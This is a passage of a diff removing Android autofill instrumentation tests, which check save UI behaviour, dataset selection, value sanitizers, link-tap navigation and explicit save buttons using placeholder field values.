-                        .setField(ID_INPUT, "id")
-                        .setField(ID_PASSWORD, "pass")
-                        .setPresentation(createPresentation("YO"))
-                        .build())
-                .build());
-
-        // Switch back to the activity.
-        restartActivity();
-        mUiBot.assertShownByText(TEXT_LABEL, Timeouts.ACTIVITY_RESURRECTION);
-        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
-        sReplier.getNextFillRequest();
-        mUiBot.assertNoDatasetsEver();
-
-        // Trigger and select UI.
-        mActivity.syncRunOnUiThread(() -> mActivity.mPassword.requestFocus());
-        final FillExpectation autofillExpecation = mActivity.expectAutoFill("id", "pass");
-        mUiBot.selectDataset("YO");
-
-        // Assert it.
-        autofillExpecation.assertAutoFilled();
-    }
-
-    @Override
-    protected void saveUiRestoredAfterTappingLinkTest(PostSaveLinkTappedAction type)
-            throws Exception {
-        startActivity();
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
-                .setSaveInfoVisitor((contexts, builder) -> builder
-                        .setCustomDescription(newCustomDescription(WelcomeActivity.class)))
-                .build());
-
-        // Trigger autofill.
-        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
-        sReplier.getNextFillRequest();
-
-        // Trigger save.
-        mActivity.syncRunOnUiThread(() -> {
-            mActivity.mInput.setText("108");
-            mActivity.mCommit.performClick();
-        });
-        final UiObject2 saveUi = assertSaveUiWithLinkIsShown(SAVE_DATA_TYPE_GENERIC);
-
-        // Tap the link.
-        tapSaveUiLink(saveUi);
-
-        // Make sure new activity is shown...
-        WelcomeActivity.assertShowingDefaultMessage(mUiBot);
-        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
-
-        // .. then do something to return to previous activity...
-        switch (type) {
-            case ROTATE_THEN_TAP_BACK_BUTTON:
-                // After the device rotates, the input field get focus and generate a new session.
-                sReplier.addResponse(CannedFillResponse.NO_RESPONSE);
-
-                mUiBot.setScreenOrientation(UiBot.LANDSCAPE);
-                WelcomeActivity.assertShowingDefaultMessage(mUiBot);
-                // not breaking on purpose
-            case TAP_BACK_BUTTON:
-                // ..then go back and save it.
-                mUiBot.pressBack();
-                break;
-            case FINISH_ACTIVITY:
-                // ..then finishes it.
-                WelcomeActivity.finishIt();
-                break;
-            default:
-                throw new IllegalArgumentException("invalid type: " + type);
-        }
-        // Make sure previous activity is back...
-        mUiBot.assertShownByRelativeId(ID_INPUT);
-
-        // ... and tap save.
-        final UiObject2 newSaveUi = assertSaveUiWithLinkIsShown(SAVE_DATA_TYPE_GENERIC);
-        mUiBot.saveForAutofill(newSaveUi, true);
-
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_INPUT), "108");
-    }
-
-    @Override
-    protected void cleanUpAfterScreenOrientationIsBackToPortrait() throws Exception {
-        sReplier.getNextFillRequest();
-    }
-
-    @Override
-    protected void tapLinkThenTapBackThenStartOverTest(PostSaveLinkTappedAction action,
-            boolean manualRequest) throws Exception {
-        startActivity();
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
-                .setSaveInfoVisitor((contexts, builder) -> builder
-                        .setCustomDescription(newCustomDescription(WelcomeActivity.class)))
-                .build());
-
-        // Trigger autofill.
-        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
-        sReplier.getNextFillRequest();
-
-        // Trigger save.
-        mActivity.syncRunOnUiThread(() -> {
-            mActivity.mInput.setText("108");
-            mActivity.mCommit.performClick();
-        });
-        final UiObject2 saveUi = assertSaveUiWithLinkIsShown(SAVE_DATA_TYPE_GENERIC);
-
-        // Tap the link.
-        tapSaveUiLink(saveUi);
-
-        // Make sure new activity is shown.
-        WelcomeActivity.assertShowingDefaultMessage(mUiBot);
-        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
-
-        // Tap back to restore the Save UI...
-        mUiBot.pressBack();
-        // Make sure previous activity is back...
-        mUiBot.assertShownByRelativeId(ID_LABEL);
-
-        // ...but don't tap it...
-        final UiObject2 saveUi2 = mUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
-
-        // ...instead, do something to dismiss it:
-        switch (action) {
-            case TOUCH_OUTSIDE:
-                mUiBot.assertShownByRelativeId(ID_LABEL).longClick();
-                break;
-            case TAP_NO_ON_SAVE_UI:
-                mUiBot.saveForAutofill(saveUi2, false);
-                break;
-            case TAP_YES_ON_SAVE_UI:
-                mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_GENERIC);
-                final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-                assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_INPUT), "108");
-                break;
-            default:
-                throw new IllegalArgumentException("invalid action: " + action);
-        }
-        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
-
-        // Now triggers a new session and do business as usual...
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
-                .build());
-
-        // Trigger autofill.
-        if (manualRequest) {
-            mActivity.getAutofillManager().requestAutofill(mActivity.mInput);
-        } else {
-            mActivity.syncRunOnUiThread(() -> mActivity.mPassword.requestFocus());
-        }
-
-        sReplier.getNextFillRequest();
-
-        // Trigger save.
-        mActivity.syncRunOnUiThread(() -> {
-            mActivity.mInput.setText("42");
-            mActivity.mCommit.performClick();
-        });
-
-        // Save it...
-        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_GENERIC);
-
-        // ... and assert results
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_INPUT), "42");
-    }
-
-    @Override
-    protected void saveUiCancelledAfterTappingLinkTest(PostSaveLinkTappedAction type)
-            throws Exception {
-        startActivity(false);
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
-                .setSaveInfoVisitor((contexts, builder) -> builder
-                        .setCustomDescription(newCustomDescription(WelcomeActivity.class)))
-                .build());
-
-        // Trigger autofill.
-        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
-        sReplier.getNextFillRequest();
-
-        // Trigger save.
-        mActivity.syncRunOnUiThread(() -> {
-            mActivity.mInput.setText("108");
-            mActivity.mCommit.performClick();
-        });
-        final UiObject2 saveUi = assertSaveUiWithLinkIsShown(SAVE_DATA_TYPE_GENERIC);
-
-        // Tap the link.
-        tapSaveUiLink(saveUi);
-        // Make sure new activity is shown...
-        WelcomeActivity.assertShowingDefaultMessage(mUiBot);
-        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
-
-        switch (type) {
-            case LAUNCH_PREVIOUS_ACTIVITY:
-                startActivityOnNewTask(SimpleSaveActivity.class);
-                break;
-            case LAUNCH_NEW_ACTIVITY:
-                // Launch a 3rd activity...
-                startActivityOnNewTask(LoginActivity.class);
-                mUiBot.assertShownByRelativeId(ID_USERNAME_CONTAINER);
-                // ...then go back
-                mUiBot.pressBack();
-                break;
-            default:
-                throw new IllegalArgumentException("invalid type: " + type);
-        }
-        // Make sure right activity is showing
-        mUiBot.assertShownByRelativeId(ID_INPUT, Timeouts.ACTIVITY_RESURRECTION);
-
-        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
-    }
-
-    @Test
-    @AppModeFull(reason = "Service-specific test")
-    public void testSelectedDatasetsAreSentOnSaveRequest() throws Exception {
-        startActivity();
-
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT, ID_PASSWORD)
-                // Added on reversed order on purpose
-                .addDataset(new CannedDataset.Builder()
-                        .setId("D2")
-                        .setField(ID_INPUT, "id again")
-                        .setField(ID_PASSWORD, "pass")
-                        .setPresentation(createPresentation("D2"))
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setId("D1")
-                        .setField(ID_INPUT, "id")
-                        .setPresentation(createPresentation("D1"))
-                        .build())
-                .build());
-
-        // Trigger autofill.
-        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
-        sReplier.getNextFillRequest();
-
-        // Select 1st dataset.
-        final FillExpectation autofillExpecation1 = mActivity.expectAutoFill("id");
-        final UiObject2 picker1 = mUiBot.assertDatasets("D2", "D1");
-        mUiBot.selectDataset(picker1, "D1");
-        autofillExpecation1.assertAutoFilled();
-
-        // Select 2nd dataset.
-        mActivity.syncRunOnUiThread(() -> mActivity.mPassword.requestFocus());
-        final FillExpectation autofillExpecation2 = mActivity.expectAutoFill("id again", "pass");
-        final UiObject2 picker2 = mUiBot.assertDatasets("D2");
-        mUiBot.selectDataset(picker2, "D2");
-        autofillExpecation2.assertAutoFilled();
-
-        mActivity.syncRunOnUiThread(() -> {
-            mActivity.mInput.setText("ID");
-            mActivity.mPassword.setText("PASS");
-            mActivity.mCommit.performClick();
-        });
-        final UiObject2 saveUi = mUiBot.assertUpdateShowing(SAVE_DATA_TYPE_GENERIC);
-
-        // Save it...
-        mUiBot.saveForAutofill(saveUi, true);
-
-        // ... and assert results
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_INPUT), "ID");
-        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_PASSWORD), "PASS");
-        assertThat(saveRequest.datasetIds).containsExactly("D1", "D2").inOrder();
-    }
-
-    @Override
-    protected void tapLinkLaunchTrampolineActivityThenTapBackAndStartNewSessionTest()
-            throws Exception {
-        // Prepare activity.
-        startActivity();
-        mActivity.mInput.getRootView()
-                .setImportantForAutofill(View.IMPORTANT_FOR_AUTOFILL_NO_EXCLUDE_DESCENDANTS);
-
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
-                .setSaveInfoVisitor((contexts, builder) -> builder
-                        .setCustomDescription(
-                                newCustomDescription(TrampolineWelcomeActivity.class)))
-                .build());
-
-        // Trigger autofill.
-        mActivity.getAutofillManager().requestAutofill(mActivity.mInput);
-        sReplier.getNextFillRequest();
-
-        // Trigger save.
-        mActivity.syncRunOnUiThread(() -> {
-            mActivity.mInput.setText("108");
-            mActivity.mCommit.performClick();
-        });
-        final UiObject2 saveUi = assertSaveUiWithLinkIsShown(SAVE_DATA_TYPE_GENERIC);
-
-        // Tap the link.
-        tapSaveUiLink(saveUi);
-
-        // Make sure new activity is shown...
-        WelcomeActivity.assertShowingDefaultMessage(mUiBot);
-
-        // Save UI should be showing as well, since Trampoline finished.
-        mUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
-
-        // Dismiss Save Dialog
-        mUiBot.pressBack();
-        // Go back and make sure it's showing the right activity.
-        mUiBot.pressBack();
-        mUiBot.assertShownByRelativeId(ID_LABEL);
-
-        // Now start a new session.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_PASSWORD)
-                .build());
-        mActivity.getAutofillManager().requestAutofill(mActivity.mPassword);
-        sReplier.getNextFillRequest();
-        mActivity.syncRunOnUiThread(() -> {
-            mActivity.mPassword.setText("42");
-            mActivity.mCommit.performClick();
-        });
-        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_INPUT), "108");
-        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_PASSWORD), "42");
-    }
-
-    @Test
-    public void testSanitizeOnSaveWhenAppChangeValues() throws Exception {
-        startActivity();
-
-        // Set listeners that will change the saved value
-        new AntiTrimmerTextWatcher(mActivity.mInput);
-        new AntiTrimmerTextWatcher(mActivity.mPassword);
-
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
-                .setSaveInfoVisitor((contexts, builder) -> {
-                    final FillContext context = contexts.get(0);
-                    final AutofillId inputId = findAutofillIdByResourceId(context, ID_INPUT);
-                    final AutofillId passwordId = findAutofillIdByResourceId(context, ID_PASSWORD);
-                    builder.addSanitizer(new TextValueSanitizer(TRIMMER_PATTERN, "$1"), inputId,
-                            passwordId);
-                })
-                .build());
-
-        // Trigger autofill.
-        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
-        sReplier.getNextFillRequest();
-
-        // Trigger save.
-        mActivity.syncRunOnUiThread(() -> {
-            mActivity.mInput.setText("id");
-            mActivity.mPassword.setText("pass");
-            mActivity.mCommit.performClick();
-        });
-
-        // Save it...
-        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_GENERIC);
-
-        // ... and assert results
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-        assertTextValue(findNodeByResourceId(saveRequest.structure, ID_INPUT), "id");
-        assertTextValue(findNodeByResourceId(saveRequest.structure, ID_PASSWORD), "pass");
-    }
-
-    @Test
-    @AppModeFull(reason = "testSanitizeOnSaveWhenAppChangeValues() is enough")
-    public void testSanitizeOnSaveNoChange() throws Exception {
-        startActivity();
-
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
-                .setOptionalSavableIds(ID_PASSWORD)
-                .setSaveInfoVisitor((contexts, builder) -> {
-                    final FillContext context = contexts.get(0);
-                    final AutofillId inputId = findAutofillIdByResourceId(context, ID_INPUT);
-                    final AutofillId passwordId = findAutofillIdByResourceId(context, ID_PASSWORD);
-                    builder.addSanitizer(new TextValueSanitizer(TRIMMER_PATTERN, "$1"), inputId,
-                            passwordId);
-                })
-                .build());
-
-        // Trigger autofill.
-        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
-        sReplier.getNextFillRequest();
-        mUiBot.assertNoDatasetsEver();
-
-        // Trigger save.
-        mActivity.syncRunOnUiThread(() -> {
-            mActivity.mInput.setText("#id#");
-            mActivity.mPassword.setText("#pass#");
-            mActivity.mCommit.performClick();
-        });
-
-        // Save it...
-        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_GENERIC);
-
-        // ... and assert results
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-        assertTextValue(findNodeByResourceId(saveRequest.structure, ID_INPUT), "id");
-        assertTextValue(findNodeByResourceId(saveRequest.structure, ID_PASSWORD), "pass");
-    }
-
-    @Test
-    @AppModeFull(reason = "testSanitizeOnSaveWhenAppChangeValues() is enough")
-    public void testDontSaveWhenSanitizedValueForRequiredFieldDidntChange() throws Exception {
-        startActivity();
-
-        // Set listeners that will change the saved value
-        new AntiTrimmerTextWatcher(mActivity.mInput);
-        new AntiTrimmerTextWatcher(mActivity.mPassword);
-
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT, ID_PASSWORD)
-                .setSaveInfoVisitor((contexts, builder) -> {
-                    final FillContext context = contexts.get(0);
-                    final AutofillId inputId = findAutofillIdByResourceId(context, ID_INPUT);
-                    final AutofillId passwordId = findAutofillIdByResourceId(context, ID_PASSWORD);
-                    builder.addSanitizer(new TextValueSanitizer(TRIMMER_PATTERN, "$1"), inputId,
-                            passwordId);
-                })
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_INPUT, "id")
-                        .setField(ID_PASSWORD, "pass")
-                        .setPresentation(createPresentation("YO"))
-                        .build())
-                .build());
-
-        // Trigger autofill.
-        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
-        sReplier.getNextFillRequest();
-
-        mActivity.syncRunOnUiThread(() -> {
-            mActivity.mInput.setText("id");
-            mActivity.mPassword.setText("pass");
-            mActivity.mCommit.performClick();
-        });
-
-        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
-    }
-
-    @Test
-    @AppModeFull(reason = "testSanitizeOnSaveWhenAppChangeValues() is enough")
-    public void testDontSaveWhenSanitizedValueForOptionalFieldDidntChange() throws Exception {
-        startActivity();
-
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
-                .setOptionalSavableIds(ID_PASSWORD)
-                .setSaveInfoVisitor((contexts, builder) -> {
-                    final FillContext context = contexts.get(0);
-                    final AutofillId passwordId = findAutofillIdByResourceId(context, ID_PASSWORD);
-                    builder.addSanitizer(new TextValueSanitizer(Pattern.compile("(pass) "), "$1"),
-                            passwordId);
-                })
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_INPUT, "id")
-                        .setField(ID_PASSWORD, "pass")
-                        .setPresentation(createPresentation("YO"))
-                        .build())
-                .build());
-
-        // Trigger autofill.
-        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
-        sReplier.getNextFillRequest();
-
-        mActivity.syncRunOnUiThread(() -> {
-            mActivity.mInput.setText("id");
-            mActivity.mPassword.setText("#pass#");
-            mActivity.mCommit.performClick();
-        });
-
-        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
-    }
-
-    @Test
-    @AppModeFull(reason = "testSanitizeOnSaveWhenAppChangeValues() is enough")
-    public void testDontSaveWhenRequiredFieldFailedSanitization() throws Exception {
-        startActivity();
-
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT, ID_PASSWORD)
-                .setSaveInfoVisitor((contexts, builder) -> {
-                    final FillContext context = contexts.get(0);
-                    final AutofillId inputId = findAutofillIdByResourceId(context, ID_INPUT);
-                    final AutofillId passwordId = findAutofillIdByResourceId(context, ID_PASSWORD);
-                    builder.addSanitizer(new TextValueSanitizer(Pattern.compile("dude"), "$1"),
-                            inputId, passwordId);
-                })
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_INPUT, "#id#")
-                        .setField(ID_PASSWORD, "#pass#")
-                        .setPresentation(createPresentation("YO"))
-                        .build())
-                .build());
-
-        // Trigger autofill.
-        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
-        sReplier.getNextFillRequest();
-
-        mActivity.syncRunOnUiThread(() -> {
-            mActivity.mInput.setText("id");
-            mActivity.mPassword.setText("pass");
-            mActivity.mCommit.performClick();
-        });
-
-        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
-    }
-
-    @Test
-    @AppModeFull(reason = "testSanitizeOnSaveWhenAppChangeValues() is enough")
-    public void testDontSaveWhenOptionalFieldFailedSanitization() throws Exception {
-        startActivity();
-
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
-                .setOptionalSavableIds(ID_PASSWORD)
-                .setSaveInfoVisitor((contexts, builder) -> {
-                    final FillContext context = contexts.get(0);
-                    final AutofillId inputId = findAutofillIdByResourceId(context, ID_INPUT);
-                    final AutofillId passwordId = findAutofillIdByResourceId(context, ID_PASSWORD);
-                    builder.addSanitizer(new TextValueSanitizer(Pattern.compile("dude"), "$1"),
-                            inputId, passwordId);
-
-                })
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_INPUT, "id")
-                        .setField(ID_PASSWORD, "#pass#")
-                        .setPresentation(createPresentation("YO"))
-                        .build())
-                .build());
-
-        // Trigger autofill.
-        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
-        sReplier.getNextFillRequest();
-
-        mActivity.syncRunOnUiThread(() -> {
-            mActivity.mInput.setText("id");
-            mActivity.mPassword.setText("pass");
-            mActivity.mCommit.performClick();
-        });
-
-        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
-    }
-
-    @Test
-    @AppModeFull(reason = "testSanitizeOnSaveWhenAppChangeValues() is enough")
-    public void testDontSaveWhenInitialValueAndNoUserInputAndServiceDatasets() throws Throwable {
-        // Prepare activitiy.
-        startActivity();
-        mActivity.syncRunOnUiThread(() -> {
-            // NOTE: input's value must be a subset of the dataset value, otherwise the dataset
-            // picker is filtered out
-            mActivity.mInput.setText("f");
-            mActivity.mPassword.setText("b");
-        });
-
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_INPUT, "foo")
-                        .setField(ID_PASSWORD, "bar")
-                        .setPresentation(createPresentation("The Dude"))
-                        .build())
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_INPUT, ID_PASSWORD).build());
-
-        // Trigger auto-fill.
-        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
-        sReplier.getNextFillRequest();
-        mUiBot.assertDatasets("The Dude");
-
-        // Trigger save.
-        mActivity.getAutofillManager().commit();
-
-        // Assert it's not showing.
-        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
-    }
-
-    enum SetTextCondition {
-        NORMAL,
-        HAS_SESSION,
-        EMPTY_TEXT,
-        FOCUSED,
-        NOT_IMPORTANT_FOR_AUTOFILL,
-        INVISIBLE
-    }
-
-    /**
-     * Tests scenario when a text field's text is set automatically, it should trigger autofill and
-     * show Save UI.
-     */
-    @Test
-    public void testShowSaveUiWhenSetTextAutomatically() throws Exception {
-        triggerAutofillWhenSetTextAutomaticallyTest(SetTextCondition.NORMAL);
-    }
-
-    /**
-     * Tests scenario when a text field's text is set automatically, it should not trigger autofill
-     * when there is an existing session.
-     */
-    @Test
-    public void testNotTriggerAutofillWhenSetTextWhileSessionExists() throws Exception {
-        triggerAutofillWhenSetTextAutomaticallyTest(SetTextCondition.HAS_SESSION);
-    }
-
-    /**
-     * Tests scenario when a text field's text is set automatically, it should not trigger autofill
-     * when the text is empty.
-     */
-    @Test
-    public void testNotTriggerAutofillWhenSetTextWhileEmptyText() throws Exception {
-        triggerAutofillWhenSetTextAutomaticallyTest(SetTextCondition.EMPTY_TEXT);
-    }
-
-    /**
-     * Tests scenario when a text field's text is set automatically, it should not trigger autofill
-     * when the field is focused.
-     */
-    @Test
-    public void testNotTriggerAutofillWhenSetTextWhileFocused() throws Exception {
-        triggerAutofillWhenSetTextAutomaticallyTest(SetTextCondition.FOCUSED);
-    }
-
-    /**
-     * Tests scenario when a text field's text is set automatically, it should not trigger autofill
-     * when the field is not important for autofill.
-     */
-    @Test
-    public void testNotTriggerAutofillWhenSetTextWhileNotImportantForAutofill() throws Exception {
-        triggerAutofillWhenSetTextAutomaticallyTest(SetTextCondition.NOT_IMPORTANT_FOR_AUTOFILL);
-    }
-
-    /**
-     * Tests scenario when a text field's text is set automatically, it should not trigger autofill
-     * when the field is not visible.
-     */
-    @Test
-    public void testNotTriggerAutofillWhenSetTextWhileInvisible() throws Exception {
-        triggerAutofillWhenSetTextAutomaticallyTest(SetTextCondition.INVISIBLE);
-    }
-
-    private void triggerAutofillWhenSetTextAutomaticallyTest(SetTextCondition condition)
-            throws Exception {
-        startActivity();
-
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
-                .build());
-
-        CharSequence inputText = "108";
-
-        switch (condition) {
-            case NORMAL:
-                // Nothing.
-                break;
-            case HAS_SESSION:
-                mActivity.syncRunOnUiThread(() -> {
-                    mActivity.mInput.setText("100");
-                });
-                sReplier.getNextFillRequest();
-                break;
-            case EMPTY_TEXT:
-                inputText = "";
-                break;
-            case FOCUSED:
-                mActivity.syncRunOnUiThread(() -> {
-                    mActivity.mInput.requestFocus();
-                });
-                sReplier.getNextFillRequest();
-                break;
-            case NOT_IMPORTANT_FOR_AUTOFILL:
-                mActivity.syncRunOnUiThread(() -> {
-                    mActivity.mInput.setImportantForAutofill(View.IMPORTANT_FOR_AUTOFILL_NO);
-                });
-                break;
-            case INVISIBLE:
-                mActivity.syncRunOnUiThread(() -> {
-                    mActivity.mInput.setVisibility(View.INVISIBLE);
-                });
-                break;
-            default:
-                throw new IllegalArgumentException("invalid condition: " + condition);
-        }
-
-        // Trigger autofill by setting text.
-        final CharSequence text = inputText;
-        mActivity.syncRunOnUiThread(() -> {
-            mActivity.mInput.setText(text);
-        });
-
-        if (condition == SetTextCondition.NORMAL) {
-            sReplier.getNextFillRequest();
-
-            mActivity.syncRunOnUiThread(() -> {
-                mActivity.mInput.setText("100");
-                mActivity.mCommit.performClick();
-            });
-
-            mUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
-        } else {
-            sReplier.assertOnFillRequestNotCalled();
-        }
-    }
-
-    @Test
-    public void testExplicitlySaveButton() throws Exception {
-        explicitlySaveButtonTest(false, 0);
-    }
-
-    @Test
-    public void testExplicitlySaveButtonWhenAppClearFields() throws Exception {
-        explicitlySaveButtonTest(true, 0);
-    }
-
-    @Test
-    public void testExplicitlySaveButtonOnly() throws Exception {
-        explicitlySaveButtonTest(false, SaveInfo.FLAG_DONT_SAVE_ON_FINISH);
-    }
-
-    /**
-     * Tests scenario where service explicitly indicates which button is used to save.
-     */
-    private void explicitlySaveButtonTest(boolean clearFieldsOnSubmit, int flags) throws Exception {
-        final boolean testBitmap = false;
-        startActivity();
-        mActivity.setAutoCommit(false);
-        mActivity.setClearFieldsOnSubmit(clearFieldsOnSubmit);
-
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
-                .setSaveTriggerId(mActivity.mCommit.getAutofillId())
-                .setSaveInfoFlags(flags)
-                .build());
-
-        // Trigger autofill.
-        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
-        sReplier.getNextFillRequest();
-
-        // Trigger save.
-        mActivity.syncRunOnUiThread(() -> mActivity.mInput.setText("108"));
-
-        // Take a screenshot to make sure button doesn't disappear.
-        final String commitBefore = mUiBot.assertShownByRelativeId(ID_COMMIT).getText();
-        assertThat(commitBefore.toUpperCase()).isEqualTo("COMMIT");
-        // Disable unnecessary screenshot tests as takeScreenshot() fails on some device.
-
-        final Bitmap screenshotBefore = testBitmap ? mActivity.takeScreenshot(mActivity.mCommit)
-                : null;
-
-        // Save it...
-        mActivity.syncRunOnUiThread(() -> mActivity.mCommit.performClick());
-        final UiObject2 saveUi = mUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
-        mUiBot.saveForAutofill(saveUi, true);
-
-        // Make sure save button is showning (it was removed on earlier versions of the feature)
-        final String commitAfter = mUiBot.assertShownByRelativeId(ID_COMMIT).getText();
-        assertThat(commitAfter.toUpperCase()).isEqualTo("COMMIT");
-        final Bitmap screenshotAfter = testBitmap ? mActivity.takeScreenshot(mActivity.mCommit)
-                : null;
-
-        // ... and assert results
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_INPUT), "108");
-
-        if (testBitmap) {
-            Helper.assertBitmapsAreSame("commit-button", screenshotBefore, screenshotAfter);
-        }
-    }
-
-    @Override
-    protected void tapLinkAfterUpdateAppliedTest(boolean updateLinkView) throws Exception {
-        startActivity();
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setSaveInfoVisitor((contexts, builder) -> {
-                    // Set response with custom description
-                    final AutofillId id = findAutofillIdByResourceId(contexts.get(0), ID_INPUT);
-                    final CustomDescription.Builder customDescription =
-                            newCustomDescriptionBuilder(WelcomeActivity.class);
-                    final RemoteViews update = newTemplate();
-                    if (updateLinkView) {
-                        update.setCharSequence(R.id.link, "setText", "TAP ME IF YOU CAN");
-                    } else {
-                        update.setCharSequence(R.id.static_text, "setText", "ME!");
-                    }
-                    Validator validCondition = new RegexValidator(id, Pattern.compile(".*"));
-                    customDescription.batchUpdate(validCondition,
-                            new BatchUpdates.Builder().updateTemplate(update).build());
-
-                    builder.setCustomDescription(customDescription.build());
-                })
-                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
-                .build());
-
-        // Trigger autofill.
-        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
-        sReplier.getNextFillRequest();
-        // Trigger save.
-        mActivity.syncRunOnUiThread(() -> {
-            mActivity.mInput.setText("108");
-            mActivity.mCommit.performClick();
-        });
-        final UiObject2 saveUi;
-        if (updateLinkView) {
-            saveUi = assertSaveUiWithLinkIsShown(SAVE_DATA_TYPE_GENERIC, "TAP ME IF YOU CAN");
-        } else {
-            saveUi = assertSaveUiWithLinkIsShown(SAVE_DATA_TYPE_GENERIC);
-            final UiObject2 changed = saveUi.findObject(By.res(mPackageName, ID_STATIC_TEXT));
-            assertThat(changed.getText()).isEqualTo("ME!");
-        }
-
-        // Tap the link.
-        tapSaveUiLink(saveUi);
-
-        // Make sure new activity is shown...
